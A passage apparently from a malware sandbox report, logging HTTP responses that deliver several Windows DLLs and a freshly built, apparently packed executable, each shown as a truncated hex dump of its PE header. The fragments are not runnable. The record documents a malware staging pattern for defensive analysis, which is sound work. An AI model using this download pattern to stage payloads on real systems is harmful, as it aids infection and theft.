0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 23:06:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 23:07:02 GMTContent-Type: application/octet-streamContent-Length: 1905664Last-Modified: Sat, 23 Nov 2024 22:51:41 GMTConnection: keep-aliveETag: "67425c7d-1d1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 aa 8d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 37 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 37 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 69 66 6c 77 72 7a 79 00 00 1a 00 